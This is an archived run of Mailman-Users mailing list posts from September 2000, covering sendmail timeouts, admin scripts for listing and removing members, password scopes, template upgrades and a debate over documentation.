Sep 20 23:34:40 2000 (27304) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')
Sep 21 01:40:22 2000 (27304) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')
Sep 21 07:30:30 2000 (10848) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')
Sep 21 09:32:47 2000 (10848) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')
Sep 21 11:37:49 2000 (10848) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')
Sep 21 13:39:19 2000 (10848) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')
Sep 21 13:39:19 2000 (10848) smtp for 336 recips, completed in 29476.855
seconds
Sep 21 15:42:04 2000 (14724) All recipients refused: (451, '4.4.1 timeout
waiting for input during message collect')




 view smtp-failure
...........
Sep 21 13:39:19 2000 (10848) 451 smithjh at mail.bay.k12.fl.us (4.4.1 timeout
waiting for input during message collect)
Sep 21 13:39:19 2000 (10848) 451 niless at cfcs.org (4.4.1 timeout waiting
for input during message collect)
Sep 21 13:39:19 2000 (10848) 451 Lempell at dbcc.cc.fl.us (4.4.1 timeout
waiting for input during message collect)



view posts
..........
Sep 19 16:57:01 2000 (13812) post to fhstoday from
fhstoday-admin at list.webengr.com, size=363, success
Sep 19 16:57:01 2000 (13812) post to fhstoday from
fhstoday-admin at list.webengr.com, size=305, success
Sep 19 16:58:01 2000 (10225) post to fhstoday from
fhstoday-admin at list.webengr.com, size=363, success
Sep 19 17:00:02 2000 (2253) post to fhstoday from
fhstoday-admin at list.webengr.com, size=376, success
Sep 19 17:01:02 2000 (12526) post to fhstoday from
fhstoday-admin at list.webengr.com, size=376, success
Sep 19 17:17:21 2000 (20811) post to fhstoday from ppruett at webengr.com,
size=652, success
Sep 20 01:02:21 2000 (13223) post to fhstoday from
fhstoday-request at list.webengr.com, size=1202, success
Sep 20 03:06:09 2000 (6776) post to fhstoday from wynne at metrolink.net,
size=17440, 336 failures
Sep 20 11:16:25 2000 (12924) post to fhstoday from wynne at metrolink.net,
size=17440, 336 failures
Sep 20 16:56:11 2000 (13450) post to eddie1 from
mailman-owner at list.webengr.com, size=1321, success
Sep 20 16:57:20 2000 (143) post to eddie2 from
mailman-owner at list.webengr.com, size=1321, success
Sep 20 19:26:49 2000 (14008) post to fhstoday from wynne at metrolink.net,
size=17440, 336 failures
Sep 21 13:39:19 2000 (10848) p




view qrunner
................
Sep 21 22:17:06 2000 (3924) qrunner begining
Sep 21 22:17:07 2000 (3924) Could not acquire qrunner lock
Sep 21 22:17:07 2000 (3924) qrunner ended
Sep 21 22:18:03 2000 (8601) qrunner begining
Sep 21 22:18:05 2000 (8601) Could not acquire qrunner lock
Sep 21 22:18:05 2000 (8601) qrunner ended
Sep 21 22:19:03 2000 (18725) qrunner begining
Sep 21 22:19:04 2000 (18725) Could not acquire qrunner lock
Sep 21 22:19:04 2000 (18725) qrunner ended   
Sep 21 22:20:03 2000 (22948) qrunner begining
Sep 21 22:20:04 2000 (22948) Could not acquire qrunner lock
Sep 21 22:20:04 2000 (22948) qrunner ended







From schnippel at forumone.com  Fri Sep 22 00:53:08 2000
From: schnippel at forumone.com (Greg Schnippel)
Date: Thu, 21 Sep 2000 18:53:08 -0400
Subject: [Mailman-Users] Bulk-Delete Options?
Message-ID: <AFD7CFC52B58014B9C0BFAF32EAB48EF220924@PLUTO.forumone.com>

I'm working with a Mailman installation for a client and wanted to know if
there
was a bulk-delete option for Mailman. I have around 100 addresses that I
want to delete from a large email list (over 5000) and I could use a 
'bulk delete' form similar to the 'bulk subscribe form' in the
administration
area.

Are there any resources or scripts already written for this?

Thanks,

Greg Schnippel

Forum One Communications
2200 Mt. Vernon Ave. Alexandria, VA 22301
ph: 703.548.1855 x27	fax: 703.995.4937
http://www.forumone.com/consult/




From Dan.Mick at West.Sun.COM  Fri Sep 22 01:50:53 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 21 Sep 2000 16:50:53 -0700 (PDT)
Subject: [Mailman-Users] Bulk-Delete Options?
Message-ID: <200009212349.QAA16093@utopia.west.sun.com>

> I'm working with a Mailman installation for a client and wanted to know if
> there
> was a bulk-delete option for Mailman. I have around 100 addresses that I
> want to delete from a large email list (over 5000) and I could use a 
> 'bulk delete' form similar to the 'bulk subscribe form' in the
> administration
> area.
> 
> Are there any resources or scripts already written for this?

bin/remove_members will do it.  From a file or stdin.



From Dan.Mick at West.Sun.COM  Fri Sep 22 01:54:29 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 21 Sep 2000 16:54:29 -0700 (PDT)
Subject: [Mailman-Users] ? All recipients refused
Message-ID: <200009212353.QAA16259@utopia.west.sun.com>

It's got to be that socket bug.  What Mailman version?
If you can try "top of CVS tree", do...

> okay I can use some suggestions, 
> 
> I really tried to figure it out,
> I've been fiddling with sendmail.cf
> and /home/mailman/Mailman/mm_cfg.py
> 
> It did work the first day, now the logs
> seem to indicate the mailman is timing
> out on recipents to sendmail
> I've tried both Deliveries to sendmail
> and smtp with no improvement.
> I've stopped qrunner removed locks and
> restarted qrunner also in desperation.
> 
> In case it's something obvious I'm missing
> I'm asking the list.  I'm using OpenBSD 2.7
> with python from port:
> # python
> Python 1.5.2 (#2, Sep 15 2000, 18:14:42)  [GCC 2.95.2 19991024 (release)]
> on openbsd2
> Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> >>> 
> I tried to use python 1.6 but the ./configure didn't like it.
> So I think I have the version of python that doesn't need patching.
> 
> 
> I'm able to get newlist notifications
> using /home/mailman/bin/newlist
>  so something is working.
> 
> 
> 
> looking into /home/mailman/logs
> 
> 
> view error
> .........  none
> 
> 
> 
>  view smtp
> .................
> Sep 20 21:30:04 2000 (27304) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> Sep 20 23:34:40 2000 (27304) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> Sep 21 01:40:22 2000 (27304) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> Sep 21 07:30:30 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> Sep 21 09:32:47 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> Sep 21 11:37:49 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> Sep 21 13:39:19 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> Sep 21 13:39:19 2000 (10848) smtp for 336 recips, completed in 29476.855
> seconds
> Sep 21 15:42:04 2000 (14724) All recipients refused: (451, '4.4.1 timeout
> waiting for input during message collect')
> 
> 
> 
> 
>  view smtp-failure
> ...........
> Sep 21 13:39:19 2000 (10848) 451 smithjh at mail.bay.k12.fl.us (4.4.1 timeout
> waiting for input during message collect)
> Sep 21 13:39:19 2000 (10848) 451 niless at cfcs.org (4.4.1 timeout waiting
> for input during message collect)
> Sep 21 13:39:19 2000 (10848) 451 Lempell at dbcc.cc.fl.us (4.4.1 timeout
> waiting for input during message collect)
> 
> 
> 
> view posts
> ..........
> Sep 19 16:57:01 2000 (13812) post to fhstoday from
> fhstoday-admin at list.webengr.com, size=363, success
> Sep 19 16:57:01 2000 (13812) post to fhstoday from
> fhstoday-admin at list.webengr.com, size=305, success
> Sep 19 16:58:01 2000 (10225) post to fhstoday from
> fhstoday-admin at list.webengr.com, size=363, success
> Sep 19 17:00:02 2000 (2253) post to fhstoday from
> fhstoday-admin at list.webengr.com, size=376, success
> Sep 19 17:01:02 2000 (12526) post to fhstoday from
> fhstoday-admin at list.webengr.com, size=376, success
> Sep 19 17:17:21 2000 (20811) post to fhstoday from ppruett at webengr.com,
> size=652, success
> Sep 20 01:02:21 2000 (13223) post to fhstoday from
> fhstoday-request at list.webengr.com, size=1202, success
> Sep 20 03:06:09 2000 (6776) post to fhstoday from wynne at metrolink.net,
> size=17440, 336 failures
> Sep 20 11:16:25 2000 (12924) post to fhstoday from wynne at metrolink.net,
> size=17440, 336 failures
> Sep 20 16:56:11 2000 (13450) post to eddie1 from
> mailman-owner at list.webengr.com, size=1321, success
> Sep 20 16:57:20 2000 (143) post to eddie2 from
> mailman-owner at list.webengr.com, size=1321, success
> Sep 20 19:26:49 2000 (14008) post to fhstoday from wynne at metrolink.net,
> size=17440, 336 failures
> Sep 21 13:39:19 2000 (10848) p
> 
> 
> 
> 
> view qrunner
> ................
> Sep 21 22:17:06 2000 (3924) qrunner begining
> Sep 21 22:17:07 2000 (3924) Could not acquire qrunner lock
> Sep 21 22:17:07 2000 (3924) qrunner ended
> Sep 21 22:18:03 2000 (8601) qrunner begining
> Sep 21 22:18:05 2000 (8601) Could not acquire qrunner lock
> Sep 21 22:18:05 2000 (8601) qrunner ended
> Sep 21 22:19:03 2000 (18725) qrunner begining
> Sep 21 22:19:04 2000 (18725) Could not acquire qrunner lock
> Sep 21 22:19:04 2000 (18725) qrunner ended   
> Sep 21 22:20:03 2000 (22948) qrunner begining
> Sep 21 22:20:04 2000 (22948) Could not acquire qrunner lock
> Sep 21 22:20:04 2000 (22948) qrunner ended
> 
> 
> 
> 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From charles at hua.com  Fri Sep 22 04:09:46 2000
From: charles at hua.com (Charles Hua)
Date: Thu, 21 Sep 2000 19:09:46 -0700
Subject: [Mailman-Users] Getting a Subscriber List
Message-ID: <5.0.0.25.2.20000921190858.038eaee0@postoffice.pacbell.net>

Does anyone know how to get a subscriber list in text format, neatly 
formatted (1 addy per line)

This is really important as some of my list owners need to get it for 
archival purposes.

Thanks.

---
Charles Hua
Voice / Fax: (650) 618-1606
_______________________________________
Get Paid to Surf the web!
http://alladvantage.com/go.asp?refid=AVZ855



From Dan.Mick at West.Sun.COM  Fri Sep 22 04:17:03 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 21 Sep 2000 19:17:03 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
Message-ID: <200009220215.TAA19071@utopia.west.sun.com>

Yet another question that would have been answered by examining
bin/

bin/list_members <listname>

Really, folks, try the most-simple things to help yourself before
asking the list, please...

> Does anyone know how to get a subscriber list in text format, neatly 
> formatted (1 addy per line)
> 
> This is really important as some of my list owners need to get it for 
> archival purposes.



From ppruett at webengr.com  Fri Sep 22 00:45:09 2000
From: ppruett at webengr.com (ppruett)
Date: Thu, 21 Sep 2000 22:45:09 +0000 (GMT)
Subject: [Mailman-Users] ? All recipients refused
In-Reply-To: <200009212353.QAA16259@utopia.west.sun.com>
Message-ID: <Pine.BSO.4.21.0009212237010.31956-100000@shire.webengr.com>


THANKS,
I setup an account with sourcforge and got the top tree
and compiled from that and upgraded from 2beta to it...

Its working on openbsd 2.7,
I did redo sendmail.cf using the m4 to not use procmail nor smrsh
just in case - I may want to go back and add smrsh feature

Sep 22 02:11:02 2000 (2296) smtp for 1 recips, completed in 0.093 seconds
Sep 22 02:21:46 2000 (6400) smtp for 337 recips, completed in 223.429
seconds

So its sending to sendmail about 1.5 recips per second.
Sendmail sent the majority and has a few hanging in mqueue
which I suspect will become bounces ( the list had some bad addresses )

all seems to be well except...
the error file grows it appears when there is a posting
something about pickled archive, it may be that this is not an error
but a "feature" ?  I think it picked up an archive that got
inputed during the resurrection I was attempting.

Should I be concerned about the error log since it seems to be working?
here is a  cat /home/mailman/logs/error

Sep 22 01:54:01 2000 qrunner(4745): Reloading pickled archive state 
Sep 22 01:54:01 2000 qrunner(4745): figuring article archives
Sep 22 01:54:01 2000 qrunner(4745): 2000-September
Sep 22 01:54:01 2000 qrunner(4745): Processing article #4 into archives
['2000-September'] 
Sep 22 01:54:02 2000 qrunner(4745): Updating index files for archive
[2000-September] 
Sep 22 01:54:02 2000 qrunner(4745):   Date 
Sep 22 01:54:02 2000 qrunner(4745):   Subject 
Sep 22 01:54:02 2000 qrunner(4745):   Author 
Sep 22 01:54:02 2000 qrunner(4745):   Thread 
Sep 22 01:54:02 2000 qrunner(4745): Computing threaded index
Sep 22 01:54:02 2000 qrunner(4745): Updating HTML for article 4 
Sep 22 01:54:02 2000 qrunner(4745): Updating HTML for article 3 
Sep 22 01:54:02 2000 qrunner(4745): Pickling archive state into
/home/mailman/archives/private/fhstoday/pipermail.pck 
Sep 22 02:18:01 2000 qrunner(6400): Reloading pickled archive state 
Sep 22 02:18:01 2000 qrunner(6400): figuring article archives
Sep 22 02:18:01 2000 qrunner(6400): 2000-September
Sep 22 02:18:02 2000 qrunner(6400): Processing article #5 into archives
['2000-September'] 
Sep 22 02:18:02 2000 qrunner(6400): Updating index files for archive
[2000-September] 
Sep 22 02:18:02 2000 qrunner(6400):   Date 
Sep 22 02:18:02 2000 qrunner(6400):   Subject 
Sep 22 02:18:02 2000 qrunner(6400):   Author 
Sep 22 02:18:02 2000 qrunner(6400):   Thread 
Sep 22 02:18:02 2000 qrunner(6400): Computing threaded index
Sep 22 02:18:02 2000 qrunner(6400): Updating HTML for article 5 
Sep 22 02:18:02 2000 qrunner(6400): Updating HTML for article 3 
Sep 22 02:18:02 2000 qrunner(6400): Updating HTML for article 4 
Sep 22 02:18:02 2000 qrunner(6400): Pickling archive state into
/home/mailman/archives/private/fhstoday/pipermail.pck



THANKS AGAIN
- PAUL






On Thu, 21 Sep 2000, Dan Mick wrote:

> It's got to be that socket bug.  What Mailman version?
> If you can try "top of CVS tree", do...
> 
> > okay I can use some suggestions, 
> > 
> > I really tried to figure it out,
> > I've been fiddling with sendmail.cf
> > and /home/mailman/Mailman/mm_cfg.py
> > 
> > It did work the first day, now the logs
> > seem to indicate the mailman is timing
> > out on recipents to sendmail
> > I've tried both Deliveries to sendmail
> > and smtp with no improvement.
> > I've stopped qrunner removed locks and
> > restarted qrunner also in desperation.
> > 
> > In case it's something obvious I'm missing
> > I'm asking the list.  I'm using OpenBSD 2.7
> > with python from port:
> > # python
> > Python 1.5.2 (#2, Sep 15 2000, 18:14:42)  [GCC 2.95.2 19991024 (release)]
> > on openbsd2
> > Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> > >>> 
> > I tried to use python 1.6 but the ./configure didn't like it.
> > So I think I have the version of python that doesn't need patching.
> > 
> > 
> > I'm able to get newlist notifications
> > using /home/mailman/bin/newlist
> >  so something is working.
> > 
> > 
> > 
> > looking into /home/mailman/logs
> > 
> > 
> > view error
> > .........  none
> > 
> > 
> > 
> >  view smtp
> > .................
> > Sep 20 21:30:04 2000 (27304) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > Sep 20 23:34:40 2000 (27304) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > Sep 21 01:40:22 2000 (27304) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > Sep 21 07:30:30 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > Sep 21 09:32:47 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > Sep 21 11:37:49 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > Sep 21 13:39:19 2000 (10848) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > Sep 21 13:39:19 2000 (10848) smtp for 336 recips, completed in 29476.855
> > seconds
> > Sep 21 15:42:04 2000 (14724) All recipients refused: (451, '4.4.1 timeout
> > waiting for input during message collect')
> > 
> > 
> > 
> > 
> >  view smtp-failure
> > ...........
> > Sep 21 13:39:19 2000 (10848) 451 smithjh at mail.bay.k12.fl.us (4.4.1 timeout
> > waiting for input during message collect)
> > Sep 21 13:39:19 2000 (10848) 451 niless at cfcs.org (4.4.1 timeout waiting
> > for input during message collect)
> > Sep 21 13:39:19 2000 (10848) 451 Lempell at dbcc.cc.fl.us (4.4.1 timeout
> > waiting for input during message collect)
> > 
> > 
> > 
> > view posts
> > ..........
> > Sep 19 16:57:01 2000 (13812) post to fhstoday from
> > fhstoday-admin at list.webengr.com, size=363, success
> > Sep 19 16:57:01 2000 (13812) post to fhstoday from
> > fhstoday-admin at list.webengr.com, size=305, success
> > Sep 19 16:58:01 2000 (10225) post to fhstoday from
> > fhstoday-admin at list.webengr.com, size=363, success
> > Sep 19 17:00:02 2000 (2253) post to fhstoday from
> > fhstoday-admin at list.webengr.com, size=376, success
> > Sep 19 17:01:02 2000 (12526) post to fhstoday from
> > fhstoday-admin at list.webengr.com, size=376, success
> > Sep 19 17:17:21 2000 (20811) post to fhstoday from ppruett at webengr.com,
> > size=652, success
> > Sep 20 01:02:21 2000 (13223) post to fhstoday from
> > fhstoday-request at list.webengr.com, size=1202, success
> > Sep 20 03:06:09 2000 (6776) post to fhstoday from wynne at metrolink.net,
> > size=17440, 336 failures
> > Sep 20 11:16:25 2000 (12924) post to fhstoday from wynne at metrolink.net,
> > size=17440, 336 failures
> > Sep 20 16:56:11 2000 (13450) post to eddie1 from
> > mailman-owner at list.webengr.com, size=1321, success
> > Sep 20 16:57:20 2000 (143) post to eddie2 from
> > mailman-owner at list.webengr.com, size=1321, success
> > Sep 20 19:26:49 2000 (14008) post to fhstoday from wynne at metrolink.net,
> > size=17440, 336 failures
> > Sep 21 13:39:19 2000 (10848) p
> > 
> > 
> > 
> > 
> > view qrunner
> > ................
> > Sep 21 22:17:06 2000 (3924) qrunner begining
> > Sep 21 22:17:07 2000 (3924) Could not acquire qrunner lock
> > Sep 21 22:17:07 2000 (3924) qrunner ended
> > Sep 21 22:18:03 2000 (8601) qrunner begining
> > Sep 21 22:18:05 2000 (8601) Could not acquire qrunner lock
> > Sep 21 22:18:05 2000 (8601) qrunner ended
> > Sep 21 22:19:03 2000 (18725) qrunner begining
> > Sep 21 22:19:04 2000 (18725) Could not acquire qrunner lock
> > Sep 21 22:19:04 2000 (18725) qrunner ended   
> > Sep 21 22:20:03 2000 (22948) qrunner begining
> > Sep 21 22:20:04 2000 (22948) Could not acquire qrunner lock
> > Sep 21 22:20:04 2000 (22948) qrunner ended
> > 
> > 
> > 
> > 
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From rogerk at QueerNet.ORG  Fri Sep 22 04:50:13 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Thu, 21 Sep 2000 19:50:13 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <200009220215.TAA19071@utopia.west.sun.com>
Message-ID: <Pine.BSI.4.21.0009211948390.13236-100000@castro.queernet.org>

On Thu, 21 Sep 2000, Dan Mick wrote:
> Yet another question that would have been answered by examining
> bin/
> 
> bin/list_members <listname>
> 
> Really, folks, try the most-simple things to help yourself before
> asking the list, please...

Like a man page, or even a simple one-pager documenting ALL commands, will
kill anyone?!

Documentation is part of software.  Undocumented software is geekware.

-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From GLeblanc at cu-portland.edu  Fri Sep 22 05:00:14 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Thu, 21 Sep 2000 20:00:14 -0700
Subject: [Mailman-Users] Getting a Subscriber List
Message-ID: <025836EFF856D411A6660090272811E61D0766@EMAIL>

> -----Original Message-----
> From: Roger B.A. Klorese [mailto:rogerk at QueerNet.ORG]
> 
> On Thu, 21 Sep 2000, Dan Mick wrote:
> > Yet another question that would have been answered by examining
> > bin/
> > 
> > bin/list_members <listname>
> > 
> > Really, folks, try the most-simple things to help yourself before
> > asking the list, please...
> 
> Like a man page, or even a simple one-pager documenting ALL 
> commands, will
> kill anyone?!
> 
> Documentation is part of software.  Undocumented software is geekware.

So, write some documentation.  I just wrote a prelim man page for
config_list yesterday, I'll finish it up this weekend.  This is Open Source
software, chip in.
	Greg


From rogerk at QueerNet.ORG  Fri Sep 22 05:06:01 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Thu, 21 Sep 2000 20:06:01 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <025836EFF856D411A6660090272811E61D0766@EMAIL>
Message-ID: <Pine.BSI.4.21.0009212002350.13469-100000@castro.queernet.org>

On Thu, 21 Sep 2000, Gregory Leblanc wrote:
> So, write some documentation.  I just wrote a prelim man page for
> config_list yesterday, I'll finish it up this weekend.  This is Open Source
> software, chip in.

The fact that it's Open Source does not imply that everyone who uses the
software must contribute to it, or in any specific ways.  Nor does it mean
that anyone who "steps in" a particular problem or need is thereby
responsible for addressing it.

There are lots of things that are great about the Open Source process, but
some things that are inherently broken as well.  By definition, O/S
developers write what's important to them or their friends; the further
away their needs are from the end-users of the product, the worse the fit,
and the less usable the documentation.

Frankly, I'd rather write a check for someone to write the
documentation; I have much, much better things to do with my time than
write it.  Like tend to the needs of users.

-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From chuqui at plaidworks.com  Fri Sep 22 05:59:16 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 20:59:16 -0700
Subject: [Mailman-Users] quick note for those ugrading mailman
Message-ID: <p04330105b5f088a9b00a@[209.239.169.197]>

Just a quick note for people upgrading mailman to the current CVS 
(but always a good thing to remember any time you upgrade mailman):

If you ugprade mailman and that upgrade includes changes to the list 
page templates, the mailman upgrade will NOT upgrade existing lists. 
You need to do that manually (there was a change to 
templates/subscribe.html in the current CVS, for instance)

here's a quick way to figure out if your list pages need to be upgraded.

1) cd to ~mailman/lists

For each list, run:

2) diff -r <listname> ../templates/

that'll show you which files need to be updated, if any.

It's probably not a good idea to blindly update, either. Make sure 
you aren't deleting custom changes that might ahve been made, but 
it's a good idea to get the list pages into sync as you upgrade as 
well, or you might run into something that'll cause lots of wasted 
time and headscratching, because you know it was fixed....

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From claw at kanga.nu  Fri Sep 22 06:41:16 2000
From: claw at kanga.nu (J C Lawrence)
Date: Thu, 21 Sep 2000 21:41:16 -0700
Subject: [Mailman-Users] users getting mail twice 
In-Reply-To: Message from Tom Goulet <tomg@nova.yi.org> 
   of "Thu, 21 Sep 2000 05:33:42 -0000." <20000921053342.B1200@nova.yi.org> 
References: <20000921053342.B1200@nova.yi.org> 
Message-ID: <20650.969597676@kanga.nu>

On Thu, 21 Sep 2000 05:33:42 +0000 
Tom Goulet <tomg at nova.yi.org> wrote:

> Hello, When a user of my mailing list hits the 'g' key in most
> popular mailers, a reply is set up that addressed To:
> listuser at foo.bar, and CC: thelist at mymachine.

> The trouble is that user mentioned in the To: will receive the
> message twice.

This is correct and normal behaviour.  Additionally, it is
__expected__ behaviour.  In particular, many people aggressively
rely on this behaviour for lists that don't have Reply-To: set..
Mailman and your MTA, have no business intervening here.

Other reasons are functional

  It is possible to have Mailman track and fold/remove such extra
addresses from the mail broadcast.  The problem is that this is open 
to abuse.  Consider an open list (no posting controls).  I send a
message addresses to the list (From: header) and CC'ed to you (CC:
header).  However, because I'm using this message to tell lies about 
you I arrange the message envelope such that it only gets sent to
the list.  Result?  Everybody on the list reads my accusations and
you never see them.

  More subtle and interesting abuses abound (and aren't difficult to
think of).

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--


From claw at kanga.nu  Fri Sep 22 06:44:09 2000
From: claw at kanga.nu (J C Lawrence)
Date: Thu, 21 Sep 2000 21:44:09 -0700
Subject: [Mailman-Users] Re: Retrieving moderator password 
In-Reply-To: Message from Thomas Gramstad <thomas@ifi.uio.no> 
   of "Thu, 21 Sep 2000 19:26:03 +0200." <MM.969557163.15287.solva@ifi.uio.no> 
References: <200009210002.RAA08479@utopia.west.sun.com> <Dan.Mick@West.Sun.COM> <MM.969549033.15287.solva@ifi.uio.no> <20000921105245.T22805@smack.uchicago.edu>  <MM.969557163.15287.solva@ifi.uio.no> 
Message-ID: <20908.969597849@kanga.nu>

On Thu, 21 Sep 2000 19:26:03 +0200 
Thomas Gramstad <thomas at ifi.uio.no> wrote:

> The procedure for creating a new list here is that when I create a
> list I send a message to the computer staff and ask them to create
> the new list.  They create it, and I get a message from Mailman
> that I'm the list-owner and that I already have an admin password
> for Mailman and this admin-password is the same for all my lists.

This is your IS staff making all you passwords the same, not Mailman.

>>> 1. I want him to be a co-moderator of ONE list, not all of them.

>> Give him that list's admin password.

Which given that all your list passwords are the same, means that
anyone possessing that password, which they have to do to be a
moderator for any of your lists, has full access to all your lists.

> So the site password has two functions: it allows you to create or
> change list passwords, and it can also be used itself as a list
> password on any list?

Yes.  The site password is the trump card.  It grants access/control
to everything in Mailman.  Other passwords are more constrained in
their capabilities.

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From blurr at txraves.org  Fri Sep 22 07:51:04 2000
From: blurr at txraves.org (jordan)
Date: Fri, 22 Sep 2000 00:51:04 -0500
Subject: [Mailman-Users] 1.1 -> 2.0b5 speedbump
Message-ID: <001901c02459$1903c2a0$6a365d18@groovebox>

i upgraded python 1.51 to 1.6 no prob.  disabled port 25,
cleared the queue, backed up /home/mailman, ./configure'd,
make install'd... 

none of the list passwds(including site passwd) work on the 
admin pages.  the lists themselves seem to be working aside 
from that.

did i miss a step?

] jordan
] blurr at txraves.org
] http://www.txraves.org/

"a closed mind is a wonderful thing to lose"





From blalor at hcirisc.cs.binghamton.edu  Fri Sep 22 16:10:01 2000
From: blalor at hcirisc.cs.binghamton.edu (Brian Lalor)
Date: Fri, 22 Sep 2000 10:10:01 -0400 (EDT)
Subject: [Mailman-Users] transferring old archive to pipermail
Message-ID: <Pine.A41.4.10.10009221007010.17236-100000@hcirisc.cs.binghamton.edu>

I've got a bunch of legacy (majordomo :-) mailing lists that I'm going to
be converting over to Mailman managed lists.  I've configured majordomo to
archive the old messages, and for a couple, I've got hypermail configured.

How can I take the archived messages and send them to pipermail?  I've got
messages dating back several years in some cases and I'd like the web
archives to be viewable as if Mailman had been used from day one.

Thanks,
Brian

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From anton at cs.jhu.edu  Fri Sep 22 15:12:40 2000
From: anton at cs.jhu.edu (Anton Deguet)
Date: Fri, 22 Sep 2000 09:12:40 -0400
Subject: [Mailman-Users] Problem with DNS alias
Message-ID: <39CB5AC8.F541F1E9@cs.jhu.edu>

Hello,

I installed Mailman 2.0b5 on a Linux box with sendmail and apache.   The
workstation <name1> is a server with a DNS alias <name2>.  The web
server uses virtual host and the mailman web pages are on
name2.mydomain.edu.

I have configured the file ~mailman/Mailman/mm_cfg.pi with:
DEFAULT_HOST_NAME   = 'name2.mydomain.edu'
DEFAULT_URL         = 'http://name2.mydomain.edu/mailman/'

Web pages look fine and <name1> never appears, which is what I want. 
The little configuration problem I have is that e-mail sent from my
mailman server are "To: list-name at name1.mydomain.edu" and not
"list-name at name2.mydomain.edu".  When a user have to send a
confirmation, the reply-to has a similar problem (i.e. <name1> instead
of <name2>).  This is a little bit confusing for users.

My questions are:
- Is there anything else to do with mailman?
- Is my problem "sendmail related"?  If so, any help is welcome, I don't
know anything about sendmail.cf.

Thanks,

Anton


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From mgc-mailman at magicnet.org  Fri Sep 22 16:25:38 2000
From: mgc-mailman at magicnet.org (Gael MARTINEZ)
Date: Fri, 22 Sep 2000 09:25:38 -0500
Subject: [Mailman-Users] Changing one email when registered
Message-ID: <20000922092538.A14844@lena.magicnet.org>

Hi

do you plan to add the possibility to change subscription email
for users ? For example , I changed of email and I cannot 
change it without signoff-signon again


Gael



From ppruett at webengr.com  Fri Sep 22 12:55:29 2000
From: ppruett at webengr.com (ppruett)
Date: Fri, 22 Sep 2000 10:55:29 +0000 (GMT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <Pine.BSI.4.21.0009212002350.13469-100000@castro.queernet.org>
Message-ID: <Pine.BSO.4.21.0009221046340.8410-100000@shire.webengr.com>



> Frankly, I'd rather write a check for someone to write the
> documentation; I have much, much better things to do with my time than
> write it.  Like tend to the needs of users.
> ROGER B.A. KLORESE

Thats not a bad idea Roger.  Perhaps the www.list.org site
could put up a list of consultants like postgresql does.
And the consultants can post the deliverables back to the site
afterwards.

OKAY we like money, our rates are $88/hour for technical
documentation, and that is a reasonable price.  
 
Just let us know what documentation you want and if
we have the resources we will give you an estimate.

However one of the team now working on mailman would probably be 
more efficient.  Do I hear a bid, $125.00 per hour, not more
than $200/hour I would deem.


- paul
ppruett at webengr.com
Web Engineering, Inc.




=====================================================================

On Thu, 21 Sep 2000, Roger B.A. Klorese wrote:

> On Thu, 21 Sep 2000, Gregory Leblanc wrote:
> > So, write some documentation.  I just wrote a prelim man page for
> > config_list yesterday, I'll finish it up this weekend.  This is Open Source
> > software, chip in.
> 
> The fact that it's Open Source does not imply that everyone who uses the
> software must contribute to it, or in any specific ways.  Nor does it mean
> that anyone who "steps in" a particular problem or need is thereby
> responsible for addressing it.
> 
> There are lots of things that are great about the Open Source process, but
> some things that are inherently broken as well.  By definition, O/S
> developers write what's important to them or their friends; the further
> away their needs are from the end-users of the product, the worse the fit,
> and the less usable the documentation.
> 
> Frankly, I'd rather write a check for someone to write the
> documentation; I have much, much better things to do with my time than
> write it.  Like tend to the needs of users.
> 
> -- 
